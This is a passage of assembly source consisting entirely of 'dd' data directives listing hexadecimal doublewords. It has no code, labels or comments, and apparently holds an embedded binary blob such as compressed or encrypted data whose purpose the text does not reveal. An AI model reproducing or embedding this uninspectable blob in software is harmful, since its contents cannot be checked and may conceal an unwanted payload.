265AE63Ch, 2640201Ah, 190E730Bh dd 8F94FE7h, 230DE14Dh, 0D5347674h, 6010914Bh, 26FCAF04h dd 307C48h, 59AB517Bh, 0B2FB5650h, 0B4374D90h, 58201089h dd 4D27FC26h, 545858h, 60825BCh, 3CA86740h, 0E300B90Eh dd 376351D2h, 4B1DF128h, 4D0059FEh, 7EB5058Ah, 0D41E74E4h dd 4098C10h, 0B001D286h, 0F24C0BF2h, 527570C0h, 8379FC98h dd 0A4293724h, 0F10AE606h, 4D053310h, 86FC3360h, 513058ACh dd 0AC2688F2h, 52740331h, 537A1A37h, 9EE6D2A1h, 4F0E3430h dd 0E40790F1h, 8C53E759h, 281FF2A1h, 95C055B6h, 9351A83Eh dd 32611D77h, 0F504A9E0h, 0FC988258h, 0AD370196h, 0B236C03Eh dd 0AC71E04Dh, 309B341Dh, 4FD63300h, 7C04E99h, 8E49A83Dh dd 8088473Ch, 9B3B8314h, 72FC717Ch, 3F0042E4h, 92AE3098h dd 0DE7F4395h, 406CC060h, 25603D88h, 49F29778h, 414D9507h dd 0ACC07048h, 0FA388292h, 36960352h, 439B4AAEh, 377233C0h dd 7F34851Ch, 46606C94h, 82A0BE04h, 811D4DC8h, 0BB12A74Ch dd 9649AC00h, 1F4F423Ch, 3AB42972h, 0C784D75h, 927F3380h dd 7E7C418Bh, 483C8C3Ah, 797874D8h, 20DF42F8h, 0D2122912h dd 9B0081Fh, 489347A8h, 0A9A3E43Ch, 0AB00507Bh, 864B9D48h dd 0E778C49h, 4C94DA41h, 699B1B9Eh, 444236E0h, 4DA9D0F9h dd 47E8C072h, 2C3D7129h, 873C0F49h, 0AEF09B35h, 3E4E7251h dd 0F8613A41h, 0D3368192h, 7E4D8BF0h, 80D63431h, 18499AD4h dd 5CD15021h, 0E4BF3836h, 0BE047Ah, 0A488B625h, 1E4DA816h dd 5A9377Fh, 2C7E398Eh, 34533E1Ch, 42B9A118h, 5AEC860h dd 0AC3C8DEDh, 0C0683B3Eh, 97D37F22h, 4EAD2C4Ch, 0E2AB05D8h dd 4964C071h, 852A3C94h, 1269184Dh, 50FC88C9h, 0D210C080h dd 2E1CBFE9h, 822034A8h, 0A6289840h, 9A3C38E0h, 31723E0Eh dd 36978279h, 0E878E4ACh, 0AB430E9Ch, 62809B40h, 9E4D9AEFh dd 288E4817h, 8F96800Bh, 2F8C034Eh, 3097B083h, 90465C78h dd 0B6E2A20Eh, 3909E8Fh, 298D92A8h, 7E2103ABh, 83438C3Ah dd 0AD284197h, 0CA807548h, 3206C85Bh, 176841B5h, 5C71291h dd 0D48530E0h, 89342EE8h, 8CEC61A1h, 608FC9E1h, 6854AA50h dd 35A102BEh, 859B33ADh, 0A80034F4h, 30B84D79h, 0F04E50ACh dd 8FF21D42h, 71EE0008h, 0C034AD44h, 496EA9FCh, 4D88C021h dd 0E88151A7h, 71C8A0AAh, 904A65ADh, 4FC8077Dh, 16E0427Eh dd 38868070h, 0D3F810A5h, 0A8300D8Bh, 0F0E8913Eh, 28C33297h dd 0A1CB219Fh, 1C2143BBh, 4AB4DC00h, 20356197h, 20AE399Bh dd 49E83226h, 0B379527h, 52E0B9B8h, 8F12C452h, 138C9580h dd 0F89871CAh, 48AB1F3Fh, 0D8D11B9Ch, 0D133883Bh, 12C0D0DCh dd 0D80ED0A2h, 1300468Fh, 2A8147A6h, 21F00498h, 427F80A0h dd 0FA1486E4h, 7AB07854h, 71F08250h, 9E48AA06h, 3CD0A236h dd 677B833Dh, 5F932878h, 2ADE919h, 98589242h, 96625DDCh dd 4430B060h, 1C92869Bh, 0FD71493Ch, 36704209h, 0F44E08ABh dd 0FC644C69h, 133890AFh, 0C34EAB4Ch, 2FE35230h, 0F18C34C1h dd 14E89282h, 12F05010h, 188B4DACh, 0B480B4FEh, 0FDB44D9Eh dd 4CB6DC30h, 3E4CA4DFh, 3387793Eh, 0D0717AAAh, 4D0FD6Dh dd 7595171Dh, 401F9BC0h, 60B9E1h, 0A7D4705h, 0F73D615Fh dd 9AD6D206h, 68BBE7h, 0D3D1588Ch, 76DA9278h, 0A980FC60h dd 0C042897Ah, 8FF6D458h, 0B7F8C602h, 0BA1B100Fh, 79D9C0A3h dd 0A51FD6Ch, 22901FADh, 25147820h, 20A97E8Ch, 31D7279h dd 7198AA52h, 1521CA11h, 84607C28h, 46EEC80Fh, 4527B098h dd 63DDA201h, 0CAD3519Ah, 0FCC09848h, 76D90019h, 5F2F3D4Eh dd 0ECE83E1Eh, 40BE21CFh, 5344A419h, 0B7E428AAh, 0DA662284h dd 0D8488B0Fh, 2F5A20F6h, 184DE030h, 9090E288h, 49C0DFABh dd 0C323E573h, 1C5F0D03h, 0C76A954h, 0F981921Ch, 6E448h dd 16A68C96h, 0CDA30530h, 6099DA29h, 7B18E359h, 9091D600h dd 990D138Ah, 0A89D184Fh, 5DE9698Eh, 633AB400h, 0EAF26543h dd 0BEFA003Ch, 0E7F62373h, 1028CBB0h, 0D0E6A09Eh, 5CAA271Eh dd 0A6D52185h, 1908887Bh, 477E0458h, 82F43DBAh, 896A9C4Dh dd 3F044087h, 796D04E1h, 80BADD92h, 91328050h, 4955A930h dd 1210C41h, 0DBD70B1Bh, 0A1EFE25Dh, 98008808h, 0B9B020D3h dd 0B1F260CAh, 951F7872h, 5DCE430Fh, 0F6FF80F9h, 0FBA79Fh dd 6DCD3E7Fh, 0A44D27CFh, 0D272E215h, 21BCEC8Ch, 0A5F903D2h dd 0D4C81422h, 0D81926C0h, 3E462176h, 0BD00EA91h, 0A6BB192Eh dd 0BC061895h, 1B2A57C8h, 1E810041h, 0E735B2E2h, 320A2D8Fh dd 0B8602963h, 0D3622B01h, 918F5317h, 0A9E0D071h, 0FC8EB5C8h dd 8CC9DEEh, 3D12215Ah, 20063C9h, 0FE4BFD7Eh, 0E13C07DCh dd 3825A6ECh, 0DCBEDF0Ah, 0B609044h, 0EFE61A21h, 0A176448Ch dd 0F30020F2h, 0F2F41B9Bh, 3FD54412h, 45004764h, 1F9CC083h dd 8C098207h, 50B19F6h, 0AC096B5Fh, 10789561h, 8C23CA62h dd 0E1C0A59Eh, 0C6FCB73Ch, 0A80C2845h, 2DF4688h, 0C8A563BCh dd 106C3195h, 563D51Eh, 0A88CF222h, 77C847FDh, 9017B605h dd 10A40290h, 0BDD76CA0h, 245560Ch, 7EDD90E2h, 0F0D89969h dd 0C78FFD53h, 5C8853h, 0FC9F5F50h, 16ECD6FAh, 29A01F67h dd 229DA01Ah, 6517C880h, 19296F6h, 70C0EB81h, 10A8A293h dd 6FC351h, 925D401Ch, 63E1193Dh, 86D5790Ch, 3A235084h dd 0E4509AAEh, 0DDC0A191h, 6308B618h, 0C4A5C8A3h, 0CF1C4065h dd 0F54763h, 69BD0AFDh, 29CE5A31h, 0C6D8121Ch, 2CF78C80h dd 500EF3C7h, 187BA8F8h, 0F937D16Bh, 0C960C5DEh, 2972A918h dd 6508045h, 3E25A20h, 0EC90FB7h, 290ADD02h, 0AC94D97Ah dd 1ADEC806h, 7B700C29h, 2E18643Dh, 94152B2Ah, 0A4F46500h dd 5859787Dh, 907700D3h, 2C4FD029h, 0A7014825h, 0D4642A79h dd 0F460E1FBh, 99C938Fh, 780420DAh, 909C98E7h, 0E1A288h dd 774F5820h, 6EAB8673h, 0EEC91406h, 98ECB2h, 16FC1EB1h dd 6CAF738h, 0D9C2F3F8h, 0C989FD4Ah, 0B0F9D6C0h, 7AA51882h dd 0A80370B4h, 697B87h, 0E5430509h, 0C9CC883Ch, 0FCC5D500h dd 32B53EF1h, 0B1FE0047h, 0CDF852C6h, 0EB055B35h, 8AAEDD76h dd 15A1F428h, 90240656h, 4021B21Fh, 0E2708AAAh, 0FA49BBD5h dd 95CA0398h, 10AEC893h, 3F9C2A0h, 0BF0D04D9h, 8A58041Bh dd 14C229Dh, 0A64BCA9Eh, 0DE686050h, 38E3638Eh, 590AF6C9h dd 0D04CF22Bh, 0F5423D03h, 1B806A2h, 0F189A9A3h, 8416EA00h dd 0B0E23B0h, 1DFD00C3h, 27D75D9Dh, 31F45778h, 6B1BC1C1h dd 1C204329h, 32AEF818h, 9A9073A6h, 0E7E4E465h, 0DB819160h dd 4C58B900h, 6BC3DD40h, 998A60A9h, 0AE45F59Eh, 808D5005h dd 0AC312402h, 4AF403B4h, 4F660117h, 12D4E15Ah, 1C944118h dd 8F5E7FEh, 1AC0C84Ch, 46770C19h, 0ED2226h, 0CC1922A1h dd 0A9A094E8h, 41E96A12h, 1423A028h, 0BC8B5173h, 3E28A840h dd 20404A76h, 84A98D26h, 9C92AA44h, 20BC44D8h, 9F083871h dd 2FE4EE3h, 8AE4AEF0h, 1EA9F4A3h, 9CD8A7E3h, 3F64BD72h dd 0EC8CC630h, 55744A27h, 0AF216820h, 0FCF9984Dh, 0D4738980h dd 0B744D630h, 10EC8948h, 44426A19h, 6416EF0Ch, 2F009B59h dd 78041507h, 0E89EF0h, 0C2EFCB6Fh, 0D14EE13h, 23B471Dh dd 49C8D0Bh, 1B61C7E4h dd 2E77F819h, 0A2E8448Ch, 47192300h, 0B6E38141h, 8F0C14AEh dd 77A0E01Ah, 20607B0Dh, 1AE0618h, 2880817Ch, 84B2800Ch dd 1D95F0E4h, 0FCD9E82Dh, 7D412200h, 0B22C9CA1h, 0C47C74E4h dd 3927B101h, 491851B5h, 417FE987h, 37EAD1CFh, 0E857C9D9h dd 0A0A0A76Bh, 4B7E6CADh, 0DD777B09h, 7FF0256Eh, 7AC8D4CBh dd 0B76EFBC0h, 0FFE71394h, 1EA03071h, 6D88312Ah, 5F48016Bh dd 6C8A7B4h, 50C2C6Eh, 0F3C2980Ch, 80A91682h, 0C464F67Ch dd 8AEC9Dh, 0F0AB35D4h, 3D1EDDA5h, 1340A40Fh, 0A8780A12h dd 74232C1h, 39EA44Ch, 4E8AC06h, 1AB9DDA2h, 72BC5772h dd 0E0014B4Ah, 7EFD3E69h, 0B4101FF3h, 940589A9h, 98536448h dd 0A0E9F200h, 6A06D7F0h, 8BC99ECh, 56065E6Dh, 98E92EE2h dd 289101B8h, 0F7DD7309h, 0ABAC482Dh, 20D6028Ch, 0DC470B25h dd 9E408051h, 2CD720DDh, 45CB805h, 0FFB36D6h, 26D183F7h dd 1EC83A18h, 0AE5C8CC0h, 0ECD7855Ch, 2219AEC6h, 1724D1B2h dd 0E5800C55h, 8384F9B3h, 7F0601BDh, 1413D2FBh, 7E443622h dd 3B48CA01h, 0AF6ABC0Eh, 0ECBC6828h, 17A9248Ch, 0FFE44048h dd 40036BD4h, 854B57ADh, 1C37C88Ch, 769E190Bh, 63057880h dd 4192C0Ch, 9EEEC8C0h, 795080B0h, 535C19EAh, 131F10D4h dd 36AE2472h, 5D178C08h, 0CE0B8079h, 38CC594Ch, 442A3160h dd 753FFB14h, 1BBB80DEh, 70F89827h, 0A5AD3C6Eh, 0CCC8C91Fh dd 1AB152EAh, 0FF78D00h, 95B6AA31h, 68D54CD7h, 6C85F508h dd 48A34D50h, 79C14C0Bh, 4192F305h, 8153CE58h, 0F63DA2F9h dd 54228082h, 0D817611h, 187D5E9Eh, 9BEC5859h, 926D226Ah dd 4814DB00h, 7249AB2Ah, 2E7F4AD8h, 37523E0h, 58ABC20Ah dd 49A67898h, 5CE12815h, 9B8C82CCh, 18F4A4CEh, 76FD8C8h dd 4C698F42h, 0A75FE1F4h, 36DD31CFh, 429B0430h, 8D6460A9h dd 0D0D060F8h, 8C052284h, 0D6DEF610h, 0F4E11DA1h, 8CA0621Ah dd 2001747h, 7E29A9BFh, 4F8F1C6h, 0A46CF983h, 7914CC19h dd 0CCBED53Ch, 0D4B1A0BCh, 2C24924Eh, 74FC531Ch, 4106ED46h dd 0C0AF4EAEh, 86C3120h, 0C086D680h, 100B1250h, 5773E96h dd 0B18D3180h, 5417B088h, 598C56h, 4454114Fh, 0AF016380h dd 0A797000h, 0A7D2E331h, 0E9CD00CBh, 0DDC5297Eh, 7898918Dh dd 0A87DE224h, 0AD088452h, 2720D860h, 0DC370B12h, 0A400E8CAh dd 5B7520DFh, 9600933Dh, 0B6B398AFh, 2E429C48h, 50203F99h dd 0F3503DB2h, 0F0F30BA0h, 18C7BF06h, 6386F552h, 0A5580C59h dd 7FA07662h, 34D6D106h, 19F0C4D5h, 2995DDF5h, 257020D2h dd 48CC395Dh, 76AA0AF0h, 0ED04E416h, 0D10115A6h, 400326B2h dd 1C06F5A2h, 0A7E03D3Dh, 0AC400FEh, 0A85D6EA6h, 41BAED88h dd 7AF6F084h, 84B86848h, 830025A6h, 0EE49349Bh, 0C0C0FCF2h dd 957053Ch, 0C4408223h, 0B06B9B1h, 0A70D04F2h, 0A9E73C39h dd 982AED25h, 8D4674C0h, 85ADF3Bh, 24C0CE94h, 4A76D619h dd 0BB3C2C36h, 79192C0Bh, 3675807Dh, 3006CB60h, 0A3C0EBE2h dd 40509542h, 0AE3D51A4h, 0FB051629h, 3E80845Dh, 9BC921E7h dd 52FA1A1Fh, 0A8497830h, 0E5730072h, 6CC54F3Dh, 1C8A948Ch dd 57881020h, 0BAC8C704h, 2E0E624Eh, 1F1068E4h, 5C689E2Ch dd 0A2005946h, 0E5A19EB2h, 8A092ECBh, 4558057Bh, 8761304h dd 0A90329C0h, 0C88A0D71h, 4AED6A9Ch, 81487442h, 594F158h dd 0FB77460h, 0A6E11232h, 4AB4470Eh, 0F93FA33Bh, 4627D2B1h dd 3106A1ABh, 0A90E9B84h, 5A510011h, 41450944h, 3048FE42h dd 836D106Ch, 5DDFF50Dh, 23ACE429h, 988AE63Dh, 3D686942h dd 0C00D7B52h, 0FC8DF921h, 39069BB9h, 0CB16EEC9h, 4AA507A0h dd 0F1B568F0h, 34FA0E48h, 7809E040h, 0B287A305h, 11349774h dd 603181ECh, 0D06144C0h, 0EF233400h, 0D8AA4C6Fh, 0D848EA58h dd 635D6A60h, 82557B27h, 0BC583C80h, 7F028C58h, 2B567D75h dd 0D954E0EAh, 4498A28Dh, 64470098h, 0D2CCB86Ah, 0DB693AD6h dd 0DC280280h, 302A239Ah, 0DF02E97Ah, 999C3735h, 644233h dd 0DE56E028h, 3C29CF43h, 0E42A2304h, 0AA729274h, 0ABA9D001h dd 0BBB15D7Dh, 211A0898h, 920291E4h, 0B98419E1h, 0DDBC41BCh dd 0D458E03Dh, 84B6B022h, 7EB465Eh, 0D6CAB18Fh, 6FBC6089h dd 44C1207Bh, 0A40229D3h, 2DF9206h, 66607450h, 560CFC64h dd 28FB65DDh, 0BC7D5927h, 2EDDA85h, 6C65B528h, 0A986A818h dd 0DCC49DA0h, 98DAFEC1h, 2C0E76BAh, 0AC4DB8Ch, 64A0775Fh dd 729B4131h, 0C4226301h, 4AE4D6C1h, 0A8B01030h, 0AAF502BDh dd 6C91056Ah, 96ACE03Ah, 30948C07h, 0B2F1004Eh, 2C7493C6h dd 150052C7h, 0A78EDC20h, 0B3A9CF42h, 0F1101531h, 890E928Eh dd 0C076F967h, 855960E7h, 60D5EEE9h, 0B183A9AEh, 0C62519F1h dd 5BAC22CAh, 9A50C0F5h, 9D47005Ah, 1218C46Ch, 93F371Ah dd 8D0E0A83h, 5F40A89Ch, 28631CFh, 4AD02824h, 84450FCh dd 180BD246h, 770ADA19h, 40EEC4C4h, 0DB19209Fh, 0E7B23C0Bh dd 0E61AB0CCh, 4079A888h, 6189379h, 90ABB212h, 0C2D4D008h dd 0EC4163CFh, 22D026CDh, 5137D6Dh, 0E50EE63h, 0F978B0E6h dd 3910FCF9h, 17A2052Fh, 80799124h, 2661FBD3h, 9D590B2Ch dd 242554A2h, 817400DDh, 0FAD4D6BDh, 82102361h, 0CE205EE2h dd 0EEB875C1h, 55D70C6Ah, 67385228h, 0A608758h, 0A4E1B18Ch dd 0D2088CB8h, 4881650h, 0DED57980h, 0FA10A41Bh, 496C7F48h dd 0B829BC94h, 904D7A48h, 418B0573h, 82F45690h, 0E059EDBFh dd 8206FF09h, 0F96AE0h, 0E0563BA3h, 5276F61Ah, 0A278C0F8h dd 10F0A420h, 961D198h, 0A63C592Bh, 6A14AACh, 5EDD72B2h dd 0D10FF090h, 56656AB7h, 0D51E78D0h, 0AAF48EC4h, 16A5AF38h dd 2CC4B825h, 0D04C7CCEh, 0E6801F4Bh, 52C603FCh, 5BA3099Ch dd 306BCDEAh, 18BC2E93h, 2A0568F0h, 6C08F0Dh, 0B04527C7h dd 0F55998D0h, 0DC2F5BBCh, 4E005923h, 54404970h, 3F0203D1h dd 0C96ED019h, 2AC949Ch, 78281BC0h, 5E8A852h, 6A855099h dd 0FC8944C9h, 0CFE98C09h, 94FBE450h, 0EA021C5Eh, 1430139h dd 0D4F9AEF4h, 7640089Dh, 10924CE6h, 2ACB2681h, 4268B93Dh dd 15738905h, 0E0D8F56Bh, 66501143h, 73101B08h, 9840611Dh dd 5389069h, 0F37976DCh, 68F001C5h, 44C12EDEh, 0BAF827C4h dd 63A1CF98h, 78ADC8A6h, 0D41FB0B4h, 62C90363h, 1445A35Bh dd 81411090h, 0CC72DE16h, 0AC59B492h, 8CE160ECh, 0A763BA05h dd 0A4F2C5C8h, 63D310C0h, 0CC99888Dh, 79623B80h, 4FA4F27h dd 22FE0B18h, 90688281h, 0F91E54C0h, 4750B282h, 60654440h dd 24D91E3Bh, 0FC19537h, 66596E2h, 0A37CD0E6h, 8912C707h dd 0C5D8AADh, 0CAE33F40h, 0C0BC6501h, 0B7FEF2F8h, 0F77DD1FCh dd 0D7A20400h, 5E7E6A8Dh, 0AC8A026h, 7DD22DF6h, 0AD8CC0A1h dd 571711EBh, 829C9180h, 0F069A7BEh, 2D9D8D0Fh, 42B1EE59h dd 0E899E3BFh, 4D9048DCh, 0D123FC7Fh, 0D5041913h, 2CD81E77h dd 21A088E9h, 0C9A91900h, 423F8B7Bh, 85C4891h, 0A04DA83Ch dd 44087C00h, 52262BC2h, 4FE80D77h, 4C147D24h, 91D0172Fh dd 0A8D38A6Dh, 2F7F208h, 7F8B4550h, 0D7581845h, 80CCB976h dd 0CE4E9D13h, 8B014FB2h, 2239F789h, 1023B82Fh, 0CC40FB00h dd 0BDE14D4Ah, 19D2A901h, 0E4DCF4B8h, 0C44E8C28h, 0D938D8F2h dd 0B282009h, 9774C53Fh, 7A1701A3h, 0C4418743h, 0A61CCFACh dd 4AC61580h, 0A0E06A71h dd 91F40E58h, 48CC0494h, 78DA57B7h, 45973D80h, 4C091BABh dd 0D1B86Fh, 16796A48h, 1353741Dh, 2030DF05h, 1EF89EF8h dd 0EC19297Ah, 1C187CBAh, 905842ECh, 0A88F1848h, 3EF6D164h dd 5F10FA04h, 0F8D8A71Bh, 24F449C9h, 0D980743Ah, 0F233F76h dd 8E4C6217h, 0FB4C0085h, 396329B3h, 0C89187h, 55A17950h dd 6E5876A5h, 0A98689C4h, 625482E8h, 70840980h, 20B0CDE3h dd 49C06AEEh, 953CB15Eh, 4C6D31Eh, 2EB2E2Ch, 0A1527A27h dd 132B2190h, 0C34B4180h, 0B7BB1EE3h, 0B9D2AF00h, 0FF2CE7A9h dd 6A86126Dh, 8828CE3Ch, 574CC06Dh, 0EC926ADCh, 71E69E11h dd 0D6D05032h, 5C9B18D0h, 99282A0Ch, 24A90A3Eh, 9E943Dh dd 5DEAE50Eh, 87286559h, 7E20CCD5h, 40DEFE77h, 0B7C2276h dd 0E802E4Dh, 6221CAAAh, 898DE142h, 51587190h, 41110C7Ah dd 20686C5Fh, 96060983h, 4479B3DBh, 0F4986093h, 4EFA81EDh dd 0EDD02520h, 60ECC464h, 0EFED7749h, 6838CC75h, 0C09CDA4Bh dd 262E80BAh, 13221FFFh, 9F40820Dh, 4F0C6E3h, 270034A4h dd 0FAAAC84Dh, 0B84CBE1Ch, 5FCD2160h, 1609BECEh, 41E410F8h dd 9F09073h, 0D5AE0721h, 299004C0h, 0D11458B4h, 49E210E8h dd 0B391F90Fh, 4EDD3D23h, 174E159h, 295EA951h, 405E215Dh dd 82E52610h, 5B63908h, 5854B21Dh, 0CC425E2Ch, 0E18C7260h dd 0BC208BEEh, 0EC72E7B2h, 0DED51002h, 0F042B142h, 8A7A6E60h dd 9EFA3D02h, 0B2E46EE3h, 89B46094h, 1C7C808Ah, 0D800989Ah dd 6042FB6Bh, 64ED7B6Fh, 0E2502086h, 0DBC61010h, 962FB850h dd 21A667ACh, 0E8BA9BCh, 92ADF000h, 80EF3C2Ch, 0F30BDC00h dd 17850F96h, 2261C06Eh, 0B7FC5451h, 58342800h, 60BCA6E8h dd 0FE5B0ECCh, 0EC629EACh, 0A8E65746h, 5D4AA908h, 0D6D10258h dd 20D9D4A3h, 0CC233809h, 4DE81EF8h, 853447A4h, 0D8E8CB55h dd 0F81DD860h, 585416Ah, 0AC147F40h, 507C2828h, 4CB5A819h dd 47101D51h, 1800C90Ch, 8EBC0A5Bh, 52D34CF5h, 8861B8D6h dd 123191DCh, 504E2713h, 0B9182079h, 165B1D00h, 88A6DC3Eh dd 8B5E2671h, 6BBD0998h, 0A7DDBC49h, 11441DD8h, 0CED6801Fh dd 98842C55h, 71B226BCh, 0D2A300E4h, 2ED4F8E2h, 0BA7F0C9Ah dd 1614DF58h, 0F021CC5Ah, 788B5E08h, 549D80C5h, 5080E891h dd 0DFD2CFAEh, 94D4F424h, 0E8871545h, 0B91870F9h, 809F9C64h dd 27D06629h, 0FB0C5880h, 848887Dh, 200C6011h, 1FD07ED7h dd 0DD9B1A00h, 0AC8980B9h, 0C7C0156h, 0D4DA61A9h, 0E009D191h dd 4A002AFFh, 35251678h, 0CC3D1E08h, 50218208h, 154A1200h dd 0A62AE865h, 0FA0A00AEh, 63CBDA43h, 46061603h, 7637C7E3h dd 0D59F0030h, 0EB22E787h, 0AB1C9278h, 2AC01AEFh, 25CED350h dd 170500CCh, 0AF887E22h, 5B01D565h, 4EC2444h, 0EF1D914h dd 945080F6h, 7B642CEh, 0C12AFC1Bh, 7E835F9Dh, 71006237h dd 46C3DF41h, 19E805F8h, 8D5E09Ch, 3F218068h, 5874C3E7h dd 0E2C6006Fh, 1E7FD95Bh, 0BD3BA4B6h, 0C7DE0059h, 0DA21680Bh dd 8876149Dh, 903A40Eh, 2E201BB5h, 94F81800h, 1684FB37h dd 0CFD3F8B1h, 0BC159891h, 6413BF00h, 37045F1Ch, 30601118h dd 775449h, 2D9BEAC4h, 4A0BACEFh, 0D7700500h, 631A5753h dd 147EF656h, 0D45D959Eh, 24C0E488h, 4616664Ah, 3B92215h dd 8A4A2C5Ah, 0CF0F93h, 0BE7E95C0h, 7359EB00h, 40FC160Ch dd 0B3B0A03Ch, 8A4D1824h, 3561C8F5h, 0B01F80h, 0E3112F4Fh dd 0A994A0Ch, 4129D9CEh, 508024D0h, 27223826h, 0D079D400h dd 2454E918h, 0E80E09CCh, 3C037E23h, 804030BBh, 0E08B44F0h dd 0A16D0FB1h, 31B22A4Ch, 7A304178h, 802B11D0h, 80108878h dd 0D7D072CBh, 113F3C23h, 0CFFC5EC1h, 9EB34200h, 60AC29C6h dd 898C310Fh, 88AC74C5h, 4A2BC0DBh, 2D46167Bh, 511C8322h dd 68C04A13h, 0A30ADFEDh, 0E85601DDh, 19A47840h, 0C716C48Bh dd 0A4766B2Ah, 25483E8h, 5C3292FCh, 3F72886h, 22B91F7Ch dd 12F89167h, 0BC79C41Dh, 10E05B18h, 13288182h, 4F029077h dd 0AFDF881Fh, 15104CF4h, 8417E294h, 63B18206h, 0F60A3060h dd 0B40B88CCh, 3709002Bh, 4B88206Dh, 0AA2FF8h, 0BD4E5B95h dd 6234B787h, 0FA1EE7E2h, 0B4C3926Ch, 51499E2h, 0A4E3E661h dd 8CA582F6h, 2A428CA0h, 767B1E15h, 0AAEBA903h, 0B06A8BE3h dd 0F85469A4h, 1B7509D9h, 4042879h, 0C86C8F85h, 8A0EC08Ch dd 8B09EE14h, 70FE863h, 0A1BD98C8h, 715FE0h, 166D3FA0h dd 902CC303h, 0F329FA00h, 0D194F419h, 12DC90F1h, 11139F2Ah dd 0EC05D090h, 84D3A27Ah, 8DCAC160h, 2108985Ch, 76414221h dd 576800A2h, 0A92F60CBh, 6C65BC06h, 0B440783Ch, 64D28DF7h dd 887C3ECAh, 180F8C1Ah, 0E646E894h, 644A2602h, 7C940516h dd 4A2E5C00h, 32467DD0h, 2CC1488Ah, 8FC0322h, 0BFF058F5h dd 0B00E010Ch, 84190h, 0DAE974FCh, 1A1DE87Eh, 9C206C28h dd 1FC841E1h, 1AC0225Dh, 84B01030h, 0BD417F94h, 0DE3643E0h dd 184F0869h, 23D07364h, 26114880h, 0D07CC900h, 6FEFFD8Ah dd 0EC3DCB05h, 886636BFh, 9D481260h, 0D490619Fh, 27C18088h dd 2482A576h, 1DEC03D6h, 7A5AC694h, 301AB026h, 0A44BB943h dd 4077A014h, 0B11138E3h, 0FA044213h, 8A806D8Ch, 43C42D4h dd 27AC0BE3h, 883FF4C8h, 6A023E85h, 7DB7399Ch, 8280A08h dd 2E44FC6Fh, 0DEA24560h, 11A4B523h, 4C4F0024h, 8A9A72A2h dd 7D470284h, 0EA5CECF0h, 7CDED480h, 0E036C408h, 669C10EEh dd 916B70CFh, 24F93772h, 8A3076E4h, 0BEC4590Dh, 0A26615E0h dd 4023D8A4h, 2AD07B01h, 0A4336080h, 0D073CA80h, 0E018298h dd 344A3C2Eh, 3020866Ch, 86940D7h, 0B609218h, 3A1871h dd 0E006CAEFh, 0A294E646h, 3449FC06h, 35A1651Ah, 610399h dd 4224754Bh, 1B076CF0h, 0F409FAC4h, 3C803604h, 72020DD0h dd 0E1C0A094h, 0F58C20BCh, 0FC227490h, 4444A731h, 5127601Dh dd 5F0100BEh, 0E4A9AA14h, 9B118D0Eh, 40010961h, 0C99856CEh dd 0F738873Eh, 8A108085h, 5465DB81h, 4494B873h, 9E60D53Bh dd 0D3CF5D41h, 1B483029h, 7C4DEA30h, 884C9588h, 89486C37h dd 410851B0h, 0C5E496B0h, 60804318h, 59228D83h, 461890F6h dd 4A2716E7h, 0B10D1C09h, 5D108D18h, 0EB014A2Fh, 9980AAC8h dd 0B8857FB7h, 0C172FABDh, 3556A0h, 2437D989h, 12309264h dd 0C46860C8h, 4E00CE95h, 0A58F647Dh, 3FE29380h, 8BAAC9BCh dd 0D5FD22C8h, 84A40E7Ah, 0F0203C98h, 6AD79027h, 311C1992h dd 55CD3F8h, 3CD8701Eh, 899F79F9h, 855E1088h, 8EC501A5h dd 37F7ADA8h, 0B5282474h, 9CBD7A0Fh, 34CD00ACh, 32F91F07h dd 6E60A9F2h, 9170972Bh, 0C39B80B8h, 1725248h, 886387D1h dd 2028FC13h, 0BC163048h, 0E05C90BDh, 17C8EC84h, 409B98C8h dd 115D235Fh, 45D4BD60h, 46620370h, 0BC0BC478h, 177092FDh dd 8A9BF120h, 0B51200AEh, 645AFB41h, 3FB8BD10h, 49FAC909h dd 0C0F8822Dh, 992000E2h, 907AD7h, 0F1E0BE50h, 48AAEA44h dd 7245478h, 0D9F81ECh, 89407C10h, 8BC18548h, 0ED18A630h dd 0A18C3B50h, 67D8397h, 80D292E4h, 0D090C43Bh, 58050984h dd 84DA118Ch, 46812038h, 102A04A6h, 913761h, 27C1EFC8h dd 9C0CCE40h, 0F13F0EEDh, 762085E7h, 2647F6C6h, 0ACC8201h dd 0F58188B7h, 12B4A424h, 82DF4F3h, 0CCA0B24Ch, 4F217D67h dd 0AFA8C9FFh, 141636A0h dd 14052513h, 0B830C7D9h, 0C3155E2h, 0EF4FCDDh, 5471D5D8h dd 0BEAA6901h, 34B4CC25h, 4A32FC48h, 916C014Bh, 4C13E482h dd 78C8C12Ch, 0E8B6C217h, 0BC638320h, 561801Dh, 4C203466h dd 0F623141h, 82E9C710h, 7C1BB131h, 11E04137h, 41DBCC30h dd 0C7045474h, 78C0C844h, 43B5D1A2h, 4F4C805Ch, 142FEEA2h dd 2035D1C0h, 68C38B8h, 90138B11h, 0A898C801h, 0B88F520h dd 7AEB378Dh, 7E5C9682h, 807154C8h, 0E7CD806h, 0B1484283h dd 18B8D98Ch, 0B2190278h, 7B7017C0h, 0AF085BC0h, 0B8E5615h dd 814C488Ch, 1460C6BDh, 0A0EAA842h, 3B102C0h, 3628C55Bh dd 81A888FAh, 32370F44h, 8519601Fh, 950804C5h, 0E080A075h dd 0F8028211h, 3701FCB6h, 4183771Ch, 0BF890A01h, 0F2549951h dd 3186E824h, 0D95C9148h, 3F891C86h, 90F0DF99h, 44C44894h dd 0A891F925h, 865184Eh, 708028D0h, 0C84F13C4h, 0BA30D040h dd 0F812D536h, 0E40B0524h, 8BB898AAh, 408243h, 37882154h dd 0D96C611Ah, 0F1870E2Fh, 0C888622Bh, 0DE8C8336h, 0F0A460E6h dd 0B13EB34h, 7C4F3814h, 2217304Ch, 8E42181h, 88684BA1h dd 1D92C010h, 0BB243A2Ch, 0B408BC96h, 35048923h, 86406494h dd 0C9D0188Bh, 89804965h, 8841D730h, 1C35E412h, 447E24A2h dd 0CA2979F0h, 872620A8h, 0E71A8820h, 0F7B180C1h, 7C3602D6h dd 581A4AEh, 301C7860h, 1091AA7Ch, 60198379h, 0A000BA9Eh dd 3B6E8E0h, 0C7532893h, 0E02ACC61h, 1FA80838h, 0CAB3AD00h dd 2821021Ah, 10A41716h, 925C013Fh, 61E454DEh, 0B24C63F8h dd 0C79E308Ah, 2E091B78h, 87FC0766h, 909A9938h, 0F750381h dd 149F26EBh, 432349D9h, 0AF559A00h, 54017917h, 65F7981Fh dd 643DEC24h, 403D6012h, 0F6819A28h, 0A500ADC7h, 0D165D7DBh dd 5FE2E4Fh, 898EC6E3h, 0CE0C2D0h, 5E1BB520h, 9128B435h dd 0C3DE807Fh, 8CFDF845h, 13E6F44h, 0B6A0C3E6h, 9C3B926Bh dd 